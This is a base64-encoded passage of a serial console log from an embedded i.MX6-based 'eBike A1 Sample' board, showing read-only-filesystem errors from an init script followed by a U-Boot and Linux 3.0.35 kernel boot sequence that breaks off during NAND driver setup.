J3QgcmVuYW1lICcvdmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXIuMjUuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgta3NzdXBkYXRlci4yNC5n
eic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5
OC1rc3N1cGRhdGVyLjIzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXIuMjIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgta3NzdXBkYXRlci4yMS5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1rc3N1
cGRhdGVyLjIwLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXIuMTkuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgta3NzdXBkYXRlci4xOC5neic6IFJlYWQtb25s
eSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1rc3N1cGRhdGVy
LjE3Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzk4LWtzc3VwZGF0ZXIuMTYuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4n
dCByZW5hbWUgJy92YXIvbG9nLy9TOTgta3NzdXBkYXRlci4xNS5neic6IFJlYWQtb25seSBmaWxl
IHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1rc3N1cGRhdGVyLjE0Lmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk4
LWtzc3VwZGF0ZXIuMTMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TOTgta3NzdXBkYXRlci4xMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3Rl
bQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1rc3N1cGRhdGVyLjExLmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk4LWtzc3Vw
ZGF0ZXIuMTAuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92
YXIvbG9nLy9TOTgta3NzdXBkYXRlci45Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXIuOC5neic6IFJlYWQtb25seSBm
aWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1rc3N1cGRhdGVyLjcu
Z3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9T
OTgta3NzdXBkYXRlci42Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXIuNS5neic6IFJlYWQtb25seSBmaWxlIHN5c3Rl
bQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1rc3N1cGRhdGVyLjQuZ3onOiBSZWFk
LW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgta3NzdXBk
YXRlci4zLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzk4LWtzc3VwZGF0ZXIuMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1rc3N1cGRhdGVyLjEuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgta3NzdXBkYXRlci4wLmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpnemlwOiBjYW4ndCBvcGVuICcvdmFyL2xvZy8vUzk4
LWtzc3VwZGF0ZXIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TOTgta3NzdXBkYXRlci5neic6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkN
Ci9ldGMvaW5pdC5kL3JjNS5kL1M5OC1rc3N1cGRhdGVyOiBsaW5lIDQ6IGNhbid0IGNyZWF0ZSAv
dmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXI6ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpbICAgMTcuNjk3MDI3XSBnYWRn
ZXRmczogVVNCIEdhZGdldCBmaWxlc3lzdGVtLCB2ZXJzaW9uIDI0IEF1ZyAyMDA0DQpKYW4gIDEg
MDA6MDA6MTcgQlVJMjcwIHVzZXIuaW5mbyBrZXJuZWw6IFsgICAxNy42OTcwMjddIGdhZGdldGZz
OiBVU0IgR2FkZ2V0IGZpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgZXN5c3RlbSwgdmVyc2lvbiAyNCBBdWcgMjAwNA0KSmFuICAxIDAwOjAwOjE3IEJVSTI3
MCB1c2VyLmRlYnVnIGtlcm5lbDogWyAgIDE3LjcwNDc0MV0gcmV0dmFsIC0xMjANCg0KDQpVLUJv
b3QgMjAxMi4xMC0wMDAxOS1nY2IxYzJkZiAoRmViIDI2IDIwMTYgLSAxMTowOTozMikNCg0KRFJB
TTogIDUxMiBNaUINCk5BTkQ6ICAxMDI0IE1pQg0KVXNpbmcgZGVmYXVsdCBlbnZpcm9ubWVudA0K
DQpJbjogICAgc2VyaWFsDQpPdXQ6ICAgc2VyaWFsDQpFcnI6ICAgc2VyaWFsDQpIaXQgYW55IGtl
eSB0byBzdG9wIGF1dG9ib290OiAgMA0KDQpOQU5EIHJlYWQ6IGRldmljZSAwIG9mZnNldCAweDYw
MDAwMCwgc2l6ZSAweDI4MDAwMA0KIDI2MjE0NDAgYnl0ZXMgcmVhZDogT0sNCiMjIEJvb3Rpbmcg
a2VybmVsIGZyb20gTGVnYWN5IEltYWdlIGF0IDEyMDAwMDAwIC4uLg0KICAgSW1hZ2UgTmFtZTog
ICBMaW51eC0zLjAuMzUtMDAwNjItZzYxYWQxYWQNCiAgIEltYWdlIFR5cGU6ICAgQVJNIExpbnV4
IEtlcm5lbCBJbWFnZSAodW5jb21wcmVzc2VkKQ0KICAgRGF0YSBTaXplOiAgICAyMzE0MTY0IEJ5
dGVzID0gMi4yIE1pQg0KICAgTG9hZCBBZGRyZXNzOiAxMDAwODAwMA0KICAgRW50cnkgUG9pbnQ6
ICAxMDAwODAwMA0KICAgVmVyaWZ5aW5nIENoZWNrc3VtIC4uLiBPSw0KICAgTG9hZGluZyBLZXJu
ZWwgSW1hZ2UgLi4uIE9LDQpPSw0KDQpTdGFydGluZyBrZXJuZWwgLi4uDQoNClsgICAgMC4wMDAw
MDBdIExpbnV4IHZlcnNpb24gMy4wLjM1LTAwMDYyLWc2MWFkMWFkIChyc2UxY29iQGtvcjMwMzEw
MV9VYnVudHUxMDA0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICApIChnY2MgdmVyc2lvbiA0LjYuMiAyMDExMDYzMCAocHJlcmVsZWFzZSkgKEZyZWVzY2FsZSBN
QUQgLS0gTGluYXJvIDIwMTEuMDcgLS0gQiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdWlsdCBhdCAyMDExLzA4LzEwIDA5OjIwKSApICMxIFBSRUVNUFQgRnJp
IEphbiAyOSAxMDo0Mjo1NSBDRVQgMjAxNg0KWyAgICAwLjAwMDAwMF0gQ1BVOiBBUk12NyBQcm9j
ZXNzb3IgWzQxMmZjMDlhXSByZXZpc2lvbiAxMCAoQVJNdjcpLCBjcj0xMGM1M2M3ZA0KWyAgICAw
LjAwMDAwMF0gQ1BVOiBWSVBUIG5vbmFsaWFzaW5nIGRhdGEgY2FjaGUsIFZJUFQgYWxpYXNpbmcg
aW5zdHJ1Y3Rpb24gY2FjaGUNClsgICAgMC4wMDAwMDBdIE1hY2hpbmU6IGVCaWtlIEExIFNhbXBs
ZQ0KWyAgICAwLjAwMDAwMF0gTWVtb3J5IHBvbGljeTogRUNDIGRpc2FibGVkLCBEYXRhIGNhY2hl
IHdyaXRlYmFjaw0KWyAgICAwLjAwMDAwMF0gQ1BVIGlkZW50aWZpZWQgYXMgaS5NWDZETC9TT0xP
LCBzaWxpY29uIHJldiAxLjENClsgICAgMC4wMDAwMDBdIEJ1aWx0IDEgem9uZWxpc3RzIGluIFpv
bmUgb3JkZXIsIG1vYmlsaXR5IGdyb3VwaW5nIG9uLiAgVG90YWwgcGFnICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlczogMTIxNjAwDQpbICAgIDAuMDAwMDAw
XSBLZXJuZWwgY29tbWFuZCBsaW5lOiBjb25zb2xlPXR0eW14YzMsMTE1MjAwIG1lbT01MTJtIHVi
aS5tdGQ9MyBybyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
b3Q9dWJpMDpyb290ZnMgcm9vdGZzdHlwZT11YmlmcyByb290d2FpdCBydyBtdGRwYXJ0cz1ncG1p
LW5hbmQ6Nm0oYm9vdGxvYWRlciksNW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIChrZXJuZWwpLDZtKHZlcnNpb24pLDE3MG0oZmlsZXN5c3RlbSksLShhcHBk
YXRhKSB2aWRlbz1teGNmYjA6ZGV2PWxjZCxFQklLRS1MQ0QsICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBpZj1SR0IyNCxmYnBpeD1SR0IzMixicHA9MzIgY29u
c29sZWJsYW5rPTAgdnQuZ2xvYmFsX2N1cnNvcl9kZWZhdWx0PTAgbHBqPTc5MDUyOCAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMCBmYjBiYXNlPTB4MTdiMDAw
MDAgZmJtZW09MU0gaW5mb19rZXJuZWw9b3JpZ2luYWwNClsgICAgMC4wMDAwMDBdIFBJRCBoYXNo
IHRhYmxlIGVudHJpZXM6IDIwNDggKG9yZGVyOiAxLCA4MTkyIGJ5dGVzKQ0KWyAgICAwLjAwMDAw
MF0gRGVudHJ5IGNhY2hlIGhhc2ggdGFibGUgZW50cmllczogNjU1MzYgKG9yZGVyOiA2LCAyNjIx
NDQgYnl0ZXMpDQpbICAgIDAuMDAwMDAwXSBJbm9kZS1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6
IDMyNzY4IChvcmRlcjogNSwgMTMxMDcyIGJ5dGVzKQ0KWyAgICAwLjAwMDAwMF0gTWVtb3J5OiAx
MjNNQiAxMDBNQiAyNTZNQiA9IDQ3OU1CIHRvdGFsDQpbICAgIDAuMDAwMDAwXSBNZW1vcnk6IDQ4
MTAwMGsvNDgxMDAwayBhdmFpbGFibGUsIDQzMjg4ayByZXNlcnZlZCwgMEsgaGlnaG1lbQ0KWyAg
ICAwLjAwMDAwMF0gVmlydHVhbCBrZXJuZWwgbWVtb3J5IGxheW91dDoNClsgICAgMC4wMDAwMDBd
ICAgICB2ZWN0b3IgIDogMHhmZmZmMDAwMCAtIDB4ZmZmZjEwMDAgICAoICAgNCBrQikNClsgICAg
MC4wMDAwMDBdICAgICBmaXhtYXAgIDogMHhmZmYwMDAwMCAtIDB4ZmZmZTAwMDAgICAoIDg5NiBr
QikNClsgICAgMC4wMDAwMDBdICAgICBETUEgICAgIDogMHhmNDYwMDAwMCAtIDB4ZmZlMDAwMDAg
ICAoIDE4NCBNQikNClsgICAgMC4wMDAwMDBdICAgICB2bWFsbG9jIDogMHhhMDgwMDAwMCAtIDB4
ZjIwMDAwMDAgICAoMTMwNCBNQikNClsgICAgMC4wMDAwMDBdICAgICBsb3dtZW0gIDogMHg4MDAw
MDAwMCAtIDB4YTAwMDAwMDAgICAoIDUxMiBNQikNClsgICAgMC4wMDAwMDBdICAgICBwa21hcCAg
IDogMHg3ZmUwMDAwMCAtIDB4ODAwMDAwMDAgICAoICAgMiBNQikNClsgICAgMC4wMDAwMDBdICAg
ICBtb2R1bGVzIDogMHg3ZjAwMDAwMCAtIDB4N2ZlMDAwMDAgICAoICAxNCBNQikNClsgICAgMC4w
MDAwMDBdICAgICAgIC5pbml0IDogMHg4MDAwODAwMCAtIDB4ODAwMjcwMDAgICAoIDEyNCBrQikN
ClsgICAgMC4wMDAwMDBdICAgICAgIC50ZXh0IDogMHg4MDAyNzAwMCAtIDB4ODA0NTBkMjQgICAo
NDI2NCBrQikNClsgICAgMC4wMDAwMDBdICAgICAgIC5kYXRhIDogMHg4MDQ1MjAwMCAtIDB4ODA0
OGZkMDggICAoIDI0OCBrQikNClsgICAgMC4wMDAwMDBdICAgICAgICAuYnNzIDogMHg4MDQ4ZmQy
YyAtIDB4ODA0ZDZjNDAgICAoIDI4NCBrQikNClsgICAgMC4wMDAwMDBdIFNMVUI6IEdlbnNsYWJz
PTEzLCBIV2FsaWduPTMyLCBPcmRlcj0wLTMsIE1pbk9iamVjdHM9MCwgQ1BVcz0xLCBOICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvZGVzPTENClsgICAgMC4w
MDAwMDBdIFByZWVtcHRpYmxlIGhpZXJhcmNoaWNhbCBSQ1UgaW1wbGVtZW50YXRpb24uDQpbICAg
IDAuMDAwMDAwXSAgVmVyYm9zZSBzdGFsbGVkLUNQVXMgZGV0ZWN0aW9uIGlzIGRpc2FibGVkLg0K
WyAgICAwLjAwMDAwMF0gTlJfSVJRUzo0OTYNClsgICAgMC4wMDAwMDBdIE1YQyBHUElPIGhhcmR3
YXJlDQpbICAgIDAuMDAwMDAwXSBzY2hlZF9jbG9jazogMzIgYml0cyBhdCAzMDAwa0h6LCByZXNv
bHV0aW9uIDMzM25zLCB3cmFwcyBldmVyeSAxNCAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgMzE2NTVtcw0KWyAgICAwLjAwMDAwMF0gU2V0IHBlcmlwaF9jbGsn
cyBwYXJlbnQgdG8gcGxsMl9wZmRfNDAwTSENClsgICAgMC4wMDAwMDBdIE1YQ19FYXJseSBzZXJp
YWwgY29uc29sZSBhdCBNTUlPIDB4MjFmMDAwMCAob3B0aW9ucyAnMTE1MjAwJykNClsgICAgMC4w
MDAwMDBdIGJvb3Rjb25zb2xlIFt0dHlteGMzXSBlbmFibGVkDQpbICAgIDAuMDAwMDAwXSBDb25z
b2xlOiBjb2xvdXIgZHVtbXkgZGV2aWNlIDgweDMwDQpbICAgIDAuMjQwNDI0XSBDYWxpYnJhdGlu
ZyBkZWxheSBsb29wIChza2lwcGVkKSBwcmVzZXQgdmFsdWUuLiAxNTgxLjA1IEJvZ29NSVBTICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKGxwaj03OTA1Mjgw
KQ0KWyAgICAwLjI0ODc1OV0gcGlkX21heDogZGVmYXVsdDogMzI3NjggbWluaW11bTogMzAxDQpb
ICAgIDAuMjUzNjEyXSBNb3VudC1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDUxMg0KWyAgICAw
LjI1ODUyOF0gQ1BVOiBUZXN0aW5nIHdyaXRlIGJ1ZmZlciBjb2hlcmVuY3k6IG9rDQpbICAgIDAu
MjYzNTc4XSBodyBwZXJmZXZlbnRzOiBlbmFibGVkIHdpdGggQVJNdjcgQ29ydGV4LUE5IFBNVSBk
cml2ZXIsIDcgY291bnRlciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgcyBhdmFpbGFibGUNClsgICAgMC4yNzIxODldIGRldnRtcGZzOiBpbml0aWFsaXplZA0K
WyAgICAwLjI4MjM5MF0gcHJpbnRfY29uc3RyYWludHM6IGR1bW15Og0KWyAgICAwLjI4NjMyM10g
TkVUOiBSZWdpc3RlcmVkIHByb3RvY29sIGZhbWlseSAxNg0KWyAgICAwLjI5NTAxNV0gcHJpbnRf
Y29uc3RyYWludHM6IHZkZHB1OiA3MjUgPC0tPiAxMzAwIG1WIGF0IDExNTAgbVYgZmFzdCBub3Jt
YWwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KWyAgICAw
LjMwMjcxM10gcHJpbnRfY29uc3RyYWludHM6IHZkZGNvcmU6IDcyNSA8LS0+IDEzMDAgbVYgYXQg
MTE1MCBtViBmYXN0IG5vcm0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIGFsDQpbICAgIDAuMzEwNDkzXSBwcmludF9jb25zdHJhaW50czogdmRkc29jOiA3MjUg
PC0tPiAxMzAwIG1WIGF0IDEyMDAgbVYgZmFzdCBub3JtYSAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgbA0KWyAgICAwLjMxODI2OV0gcHJpbnRfY29uc3RyYWlu
dHM6IHZkZDJwNTogMjAwMCA8LS0+IDI3NzUgbVYgYXQgMjQwMCBtViBmYXN0IG5vcm0gICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsDQpbICAgIDAuMzI2MDcy
XSBwcmludF9jb25zdHJhaW50czogdmRkMXAxOiA4MDAgPC0tPiAxNDAwIG1WIGF0IDExMDAgbVYg
ZmFzdCBub3JtYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
bA0KWyAgICAwLjMzMzgwNV0gcHJpbnRfY29uc3RyYWludHM6IHZkZDNwMDogMjgwMCA8LS0+IDMx
NTAgbVYgYXQgMzAwMCBtViBmYXN0IG5vcm0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGFsDQpbICAgIDAuMzQ4NTEwXSBody1icmVha3BvaW50OiBmb3VuZCA2
IGJyZWFrcG9pbnQgYW5kIDEgd2F0Y2hwb2ludCByZWdpc3RlcnMuDQpbICAgIDAuMzU1NDc0XSBo
dy1icmVha3BvaW50OiAxIGJyZWFrcG9pbnQocykgcmVzZXJ2ZWQgZm9yIHdhdGNocG9pbnQgc2lu
Z2xlLXN0ZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcC4N
ClsgICAgMC4zNjI4MDldIGh3LWJyZWFrcG9pbnQ6IG1heGltdW0gd2F0Y2hwb2ludCBzaXplIGlz
IDQgYnl0ZXMuDQpbICAgIDAuMzY4ODU2XSBMMzEwIGNhY2hlIGNvbnRyb2xsZXIgZW5hYmxlZA0K
WyAgICAwLjM3Mjg4M10gbDJ4MDogMTYgd2F5cywgQ0FDSEVfSUQgMHg0MTAwMDBjOCwgQVVYX0NU
UkwgMHgwMjA1MDAwMCwgQ2FjaGUgc2kgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIHplOiA1MjQyODggQg0KWyAgICAwLjM4MTkxOV0gSU1YIHVzYiB3YWtldXAg
cHJvYmUNClsgICAgMC4zOTQ1MjhdIGJpbzogY3JlYXRlIHNsYWIgPGJpby0wPiBhdCAwDQpbICAg
IDAuNDAxMDcwXSBteHMtZG1hIG14cy1kbWEtYXBiaDogaW5pdGlhbGl6ZWQNClsgICAgMC40MDY1
ODhdIHVzYmNvcmU6IHJlZ2lzdGVyZWQgbmV3IGludGVyZmFjZSBkcml2ZXIgdXNiZnMNClsgICAg
MC40MTIyMDVdIHVzYmNvcmU6IHJlZ2lzdGVyZWQgbmV3IGludGVyZmFjZSBkcml2ZXIgaHViDQpb
ICAgIDAuNDE3NjcyXSB1c2Jjb3JlOiByZWdpc3RlcmVkIG5ldyBkZXZpY2UgZHJpdmVyIHVzYg0K
WyAgICAwLjQyNDE3OF0gQmx1ZXRvb3RoOiBDb3JlIHZlciAyLjE2DQpbICAgIDAuNDI3OTIzXSBO
RVQ6IFJlZ2lzdGVyZWQgcHJvdG9jb2wgZmFtaWx5IDMxDQpbICAgIDAuNDMyMzc5XSBCbHVldG9v
dGg6IEhDSSBkZXZpY2UgYW5kIGNvbm5lY3Rpb24gbWFuYWdlciBpbml0aWFsaXplZA0KWyAgICAw
LjQzODgyNF0gQmx1ZXRvb3RoOiBIQ0kgc29ja2V0IGxheWVyIGluaXRpYWxpemVkDQpbICAgIDAu
NDQzNzE1XSBCbHVldG9vdGg6IEwyQ0FQIHNvY2tldCBsYXllciBpbml0aWFsaXplZA0KWyAgICAw
LjQ0ODg0Nl0gQmx1ZXRvb3RoOiBTQ08gc29ja2V0IGxheWVyIGluaXRpYWxpemVkDQpbICAgIDAu
NDUzNzU0XSBTd2l0Y2hpbmcgdG8gY2xvY2tzb3VyY2UgbXhjX3RpbWVyMQ0KWyAgICAwLjQ3MDI5
MV0gTkVUOiBSZWdpc3RlcmVkIHByb3RvY29sIGZhbWlseSAyDQpbICAgIDAuNDc0NzM5XSBJUCBy
b3V0ZSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDQwOTYgKG9yZGVyOiAyLCAxNjM4NCBieXRl
cykNClsgICAgMC40ODI0MTldIFRDUCBlc3RhYmxpc2hlZCBoYXNoIHRhYmxlIGVudHJpZXM6IDE2
Mzg0IChvcmRlcjogNSwgMTMxMDcyIGJ5dGVzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICApDQpbICAgIDAuNDg5ODg3XSBUQ1AgYmluZCBoYXNoIHRhYmxlIGVu
dHJpZXM6IDE2Mzg0IChvcmRlcjogNCwgNjU1MzYgYnl0ZXMpDQpbICAgIDAuNDk2NTQ3XSBUQ1A6
IEhhc2ggdGFibGVzIGNvbmZpZ3VyZWQgKGVzdGFibGlzaGVkIDE2Mzg0IGJpbmQgMTYzODQpDQpb
ICAgIDAuNTAzMTA3XSBUQ1AgcmVubyByZWdpc3RlcmVkDQpbICAgIDAuNTA2MjYwXSBVRFAgaGFz
aCB0YWJsZSBlbnRyaWVzOiAyNTYgKG9yZGVyOiAwLCA0MDk2IGJ5dGVzKQ0KWyAgICAwLjUxMjEy
N10gVURQLUxpdGUgaGFzaCB0YWJsZSBlbnRyaWVzOiAyNTYgKG9yZGVyOiAwLCA0MDk2IGJ5dGVz
KQ0KWyAgICAwLjUxODY2NV0gTkVUOiBSZWdpc3RlcmVkIHByb3RvY29sIGZhbWlseSAxDQpbICAg
IDAuNTIzMjA3XSBSUEM6IFJlZ2lzdGVyZWQgbmFtZWQgVU5JWCBzb2NrZXQgdHJhbnNwb3J0IG1v
ZHVsZS4NClsgICAgMC41MjkxOTldIFJQQzogUmVnaXN0ZXJlZCB1ZHAgdHJhbnNwb3J0IG1vZHVs
ZS4NClsgICAgMC41MzM5MTVdIFJQQzogUmVnaXN0ZXJlZCB0Y3AgdHJhbnNwb3J0IG1vZHVsZS4N
ClsgICAgMC41Mzg2NDJdIFJQQzogUmVnaXN0ZXJlZCB0Y3AgTkZTdjQuMSBiYWNrY2hhbm5lbCB0
cmFuc3BvcnQgbW9kdWxlLg0KWyAgICAwLjU0NTI2OV0gU3RhdGljIFBvd2VyIE1hbmFnZW1lbnQg
Zm9yIEZyZWVzY2FsZSBpLk1YNg0KWyAgICAwLjU1MDU0Nl0gd2FpdCBtb2RlIGlzIGVuYWJsZWQg
Zm9yIGkuTVg2DQpbICAgIDAuNTU0NzcxXSBjcGFkZHIgPSBhMDg4MDAwMCBzdXNwZW5kX2lyYW1f
YmFzZT1hMDgyZTAwMA0KWyAgICAwLjU2MDE4OF0gUE0gZHJpdmVyIG1vZHVsZSBsb2FkZWQNClsg
ICAgMC41NjM2OTBdIGkuTVhDIENQVSBmcmVxdWVuY3kgZHJpdmVyDQpbICAgIDAuNTgzNTkyXSBu
ZnM0ZmlsZWxheW91dF9pbml0OiBORlN2NCBGaWxlIExheW91dCBEcml2ZXIgUmVnaXN0ZXJpbmcu
Li4NClsgICAgMC41OTA3ODBdIG1zZ21uaSBoYXMgYmVlbiBzZXQgdG8gOTM5DQpbICAgIDAuNTk1
NTczXSBCbG9jayBsYXllciBTQ1NJIGdlbmVyaWMgKGJzZykgZHJpdmVyIHZlcnNpb24gMC40IGxv
YWRlZCAobWFqb3IgMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgNTMpDQpbICAgIDAuNjAzMDMwXSBpbyBzY2hlZHVsZXIgbm9vcCByZWdpc3RlcmVkDQpbICAg
IDAuNjA2OTYzXSBpbyBzY2hlZHVsZXIgZGVhZGxpbmUgcmVnaXN0ZXJlZA0KWyAgICAwLjYxMTM0
Nl0gaW8gc2NoZWR1bGVyIGNmcSByZWdpc3RlcmVkIChkZWZhdWx0KQ0KWyAgICAwLjYxNjM0NF0g
bXhjX3NkY19mYiBteGNfc2RjX2ZiLjA6IHJlZ2lzdGVyIG14YyBkaXNwbGF5IGRyaXZlciBsY2QN
ClsgICAgMC42MjI4MzddIGlteC1pcHV2MyBpbXgtaXB1djMuMDogV2FybmluZzogY2hhbm5lbCBh
bHJlYWR5IGluaXRpYWxpemVkIDkNClsgICAgMC42Mjk3MzNdIGlteC1pcHV2MyBpbXgtaXB1djMu
MDogV2FybmluZzogY2hhbm5lbCBhbHJlYWR5IGVuYWJsZWQgOQ0KWyAgICAwLjYzODk2Nl0gaW14
LXNkbWEgaW14LXNkbWE6IGxvYWRlZCBmaXJtd2FyZSAxLjENClsgICAgMC42NDgwNjZdIGlteC1z
ZG1hIGlteC1zZG1hOiBpbml0aWFsaXplZA0KWyAgICAwLjY1MjU1M10gU2VyaWFsOiBJTVggZHJp
dmVyDQpbICAgIDAuNjU1NjgyXSBpbXgtdWFydC4wOiB0dHlteGMwIGF0IE1NSU8gMHgyMDIwMDAw
IChpcnEgPSA1OCkgaXMgYSBJTVgNClsgICAgMC42NjI1NTZdIGlteC11YXJ0LjE6IHR0eW14YzEg
YXQgTU1JTyAweDIxZTgwMDAgKGlycSA9IDU5KSBpcyBhIElNWA0KWyAgICAwLjY2OTI3Nl0gaW14
LXVhcnQuMjogdHR5bXhjMiBhdCBNTUlPIDB4MjFlYzAwMCAoaXJxID0gNjApIGlzIGEgSU1YDQpb
ICAgIDAuNjc1OTQ2XSBpbXgtdWFydC4zOiB0dHlteGMzIGF0IE1NSU8gMHgyMWYwMDAwIChpcnEg
PSA2MSkgaXMgYSBJTVgNClsgICAgMC42ODI0NTFdIGNvbnNvbGUgW3R0eW14YzNdIGVuYWJsZWQs
IGJvb3Rjb25zb2xlIGRpc2FibGVkDQpbICAgIDAuNjgyNDUxXSBjb25zb2xlIFt0dHlteGMzXSBl
bmFibGVkLCBib290Y29uc29sZSBkaXNhYmxlZA0KWyAgICAwLjY5NTExOF0gTkFORCBkZXZpY2U6
IE1hbnVmYWN0dXJlciBJRDogMHg5OCwgQ2hpcCBJRDogMHhhMyAoVG9zaGliYSBOQU5EIDEgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdpQiAxLDhWIDgtYml0
KQ0KWyAgICAwLjcwNDM4Nl0gNSBjbWRsaW5lcGFydCBwYXJ0aXRpb25zIGZvdW5kIG9uIE1URCBk
ZXZpY2UgZ3BtaS1uYW5kDQpbICAgIDAuNzEwNjIyXSBDcmVhdGluZyA1IE1URCBwYXJ0aXRpb25z
IG9uICJncG1pLW5hbmQiOg0KWyAgICAwLjcxNTY4M10gMHgwMDAwMDAwMDAwMDAtMHgwMDAwMDA2
MDAwMDAgOiAiYm9vdGxvYWRlciINClsgICAgMC43MjE4MjddIDB4MDAwMDAwNjAwMDAwLTB4MDAw
MDAwYjAwMDAwIDogImtlcm5lbCINClsgICAgMC43Mjc1NDBdIDB4MDAwMDAwYjAwMDAwLTB4MDAw
MDAxMTAwMDAwIDogInZlcnNpb24iDQpbICAgIDAuNzMzNDA0XSAweDAwMDAwMTEwMDAwMC0weDAw
MDAwYmIwMDAwMCA6ICJmaWxlc3lzdGVtIg0KWyAgICAwLjczOTU3Ml0gMHgwMDAwMGJiMDAwMDAt
MHgwMDAwNDAwMDAwMDAgOiAiYXBwZGF0YSINClsgICAgMC43NDU2NDFdIEdQTUkgTkFORCBkcml2
